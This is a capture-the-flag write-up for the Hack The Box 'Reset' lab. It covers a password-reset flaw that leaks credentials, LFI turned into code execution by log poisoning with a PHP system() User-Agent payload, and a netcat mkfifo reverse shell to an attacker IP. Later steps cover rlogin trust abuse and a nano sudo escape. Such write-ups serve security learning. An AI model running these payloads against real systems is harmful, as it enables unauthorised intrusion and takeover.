Post

HTB Reset CTF Writeup

A broken password reset endpoint returns the newly generated password in its JSON response, granting admin access. An LFI in the log viewer is turned into a shell via log poisoning. Legacy rsh/rlogin services misconfigured with .rhosts and hosts.equiv allow passwordless lateral movement to sadm, whose leaked sudo password and GTFOBins nano escape lead to root.

HTB Reset CTF Writeup

HTB Reset CTF

Web Service Enumeration

A major flaw was discovered in the web application on the reset password functionality:

image.webp

The attacker can request the password reset for any user in the system and the back-end server would respond to the request with the new password that’s been set for the user that was requested.

With this technique, the attacker could request a password reset for the “admin” user and obtain administrative access on the website.

The request looks like this:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /reset_password.php HTTP/1.1
Host: 10.129.234.130
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 14
Origin: http://10.129.234.130
Connection: keep-alive
Referer: http://10.129.234.130/
Cookie: PHPSESSID=rn55f0kr6n2ksn4taeh81lepck
Priority: u=0

username=admin

In the response, we see the password returned in a json object:

1
2
3
4
5
6
7
8
9
HTTP/1.1 200 OK
Date: Fri, 26 Sep 2025 00:38:45 GMT
Server: Apache/2.4.52 (Ubuntu)
Content-Length: 80
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: application/json

{"username":"admin","new_password":"2ecff48e","timestamp":"2025-09-26 00:38:45"}

The password can be used to log in and access the restricted dashboard.php page:

image.webp

Local File Inclusion

The dashboard allows for the user to check logs in the system. Reviewing the request when requesting a log, it’s clear that we pass the absolute path to the file we want to read directly to the back-end via the “file” POST data in the request.

I first tried enumerating the filesystem using a fuzzing technique, but it returned me nothing:

1
ffuf -b PHPSESSID=rn55f0kr6n2ksn4taeh81lepck -u http://10.129.234.130/dashboard.php -d file=FUZZ -w /usr/share/wordlists/seclists/Fuzzing/LFI/LFI-Jhaddix.txt

When analyzing the request, it looks like the parameter value needs to be url encoded in order to work. I tried using wfuzz with the urlencode encoder, but for some reason it ignores my “/” character (which is exactly the thing that needs to be encoded) and I’m too tired to go and patch the plugin code myself. This is the command I tried:

1
wfuzz -z file,/usr/share/wordlists/seclists/Fuzzing/LFI/LFI-Jhaddix.txt --zE urlencode -u http://10.129.234.130/dashboard.php -d file=FUZZ -b PHPSESSID=rn55f0kr6n2ksn4taeh81lepck

I could craft a request to access the access logs for apache2:

image.webp

Since it’s a php application (we can see it because of the .php extension of dashboard.php), and we have read access to the apache2 logs, we can perform a log poisoning attack.

It’s just a matter of putting malicious PHP code in our request that will show up in the server access logs. When viewing the access logs, the malicious php code will get interpreted and run. This will eventually lead to a remote shell on the machine.

First, I crafted a request containing a malicious php code in my user-agent header:

1
2
3
4
5
6
7
8
GET /dashboard.php HTTP/1.1
Host: 10.129.234.130

User-Agent: <?php system('whoami'); ?>

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
<SNIP>

Then I accessed the access.log again and could see the result of my payload:

image.webp

I used a simple netcat mkfifo shell from revshells.com to get a reverse shell going on my machine. Payload:

1
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.14.224 1234 >/tmp/f

Horizontal Privilege Escalation

When enumerating the home folder, found two other valid users in the system (sadm, local). I can read sadm’s home folder:

1
2
3
4
5
6
7
8
9
10
11
12
$ ls -la /home/sadm
total 36
drwxr-xr-x 4 sadm sadm 4096 Jun  4 14:57 .
drwxr-xr-x 4 root root 4096 Jun  2 11:34 ..
lrwxrwxrwx 1 sadm sadm    9 Dec  6  2024 .bash_history -> /dev/null
-rw-r--r-- 1 sadm sadm  220 Dec  6  2024 .bash_logout
-rw-r--r-- 1 sadm sadm 3771 Dec  6  2024 .bashrc
drwx------ 2 sadm sadm 4096 Jun  2 11:34 .cache
drwxrwxr-x 3 sadm sadm 4096 Jun  2 11:34 .local
-rw-r--r-- 1 sadm sadm  807 Dec  6  2024 .profile
-rw------- 1 sadm sadm    7 Dec  6  2024 .rhosts
-rw-r--r-- 1 root root   33 Apr 10 09:45 user.txt

It includes a file named “.rhosts”. Nothing too interesting there, but I took note of the .rhosts file.

I searched for SUID binaries and found some unusual entries:

1
2
3
4
5
6
7
8
9
$ find / -perm -4000 -type f 2>/dev/null

<SNIP>

/usr/bin/netkit-rcp
/usr/bin/netkit-rlogin
/usr/bin/netkit-rsh

<SNIP>

When googling for this, I found some interesting resources. More specifically, a github repo that talks about the .rhosts file and the /etc/hosts.equiv file that I have never encountered before:

image.webp

The github repo: https://github.com/ivanversluis/pentest-hacktricks/blob/master/pentesting/pentesting-rsh.md

The file in /etc/ actually exists:

1
2
3
4
5
6
$ cat /etc/hosts.equiv 
# /etc/hosts.equiv: list  of  hosts  and  users  that are granted "trusted" r
#                   command access to your system .
- root
- local
+ sadm

And the ports are open:

1
2
3
4
5
6
7
8
9
$ ss -tulpn 

<SNIP>
        
tcp   LISTEN 0      128          0.0.0.0:512       0.0.0.0:*          
tcp   LISTEN 0      128          0.0.0.0:513       0.0.0.0:*          
tcp   LISTEN 0      128          0.0.0.0:514       0.0.0.0:*          

<SNIP>

I tried using the binaries in the system to log in, but it was asking me for a password despite the contents in /etc/hosts.equiv (where it indicates that “sadm” can log in without one).

I had to create a new user in my attacking machine named after the user (sadm) to be able to log in:

1
2
3
4
5
6
7
8
$ sudo useradd sadm

$ sudo passwd sadm
New password: sadm
Retype new password: sadm

$ su sadm
Password: sadm

Then log in to the machine using rlogin:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
$ rlogin 10.129.234.130        
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-140-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

 System information as of Fri Sep 26 11:06:01 AM UTC 2025

  System load:           0.03
  Usage of /:            65.6% of 5.22GB
  Memory usage:          20%
  Swap usage:            0%
  Processes:             233
  Users logged in:       1
  IPv4 address for eth0: 10.129.234.130
  IPv6 address for eth0: dead:beef::250:56ff:feb0:b60a


Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Wed Jul  9 13:32:23 UTC 2025 from 10.10.14.77 on pts/0
sadm@reset:~$

Vertical Privilege Escalation

When looking for files/directories owned by “sadm”, I found tmux and session-related files:

1
2
3
4
5
6
7
8
9
10
$ find / -user sadm 2>/dev/null

<SNIP>

/dev/pts/1
/dev/pts/3
/tmp/tmux-1001
/tmp/tmux-1001/default

<SNIP>

There is indeed one tmux session open:

1
2
$ tmux ls 
sadm_session: 1 windows (created Fri Sep 26 00:18:17 2025)

Same info can be seen with the “w” command:

1
2
3
4
5
$ w
 11:15:49 up 10:57,  2 users,  load average: 0.05, 0.03, 0.01
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
sadm     pts/3    tmux(1222).%0    00:18   10:57m  0.03s  0.03s -bash
sadm     pts/1    10.10.14.224     11:06    0.00s  0.08s  0.01s w

Inside the tmux session, we see that sadm was trying to echo a password into /etc/firewall.sh using nano with sudo privileges.

1
2
3
4
echo 7lE2PAfVHfjz4HpE | sudo -S nano /etc/firewall.sh
sadm@reset:~$ echo 7lE2PAfVHfjz4HpE | sudo -S nano /etc/firewall.sh
Too many errors from stdin
sadm@reset:~$

Using that password, we can log in to the machine via SSH as “sadm”. We can also check sadm’s sudo -l privileges:

1
2
3
4
5
6
7
8
9
10
$ sudo -l
[sudo] password for sadm: 
Matching Defaults entries for sadm on reset:
    env_reset, timestamp_timeout=-1, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty, !syslog

User sadm may run the following commands on reset:
    (ALL) PASSWD: /usr/bin/nano /etc/firewall.sh
    (ALL) PASSWD: /usr/bin/tail /var/log/syslog
    (ALL) PASSWD: /usr/bin/tail /var/log/auth.log
sadm@reset:~$

Using a common technique from GTFobins, I could escape nano and get a shell:

image.webp

More specifically, with this technique:

image.webp

This post is licensed under CC BY 4.0 by the author.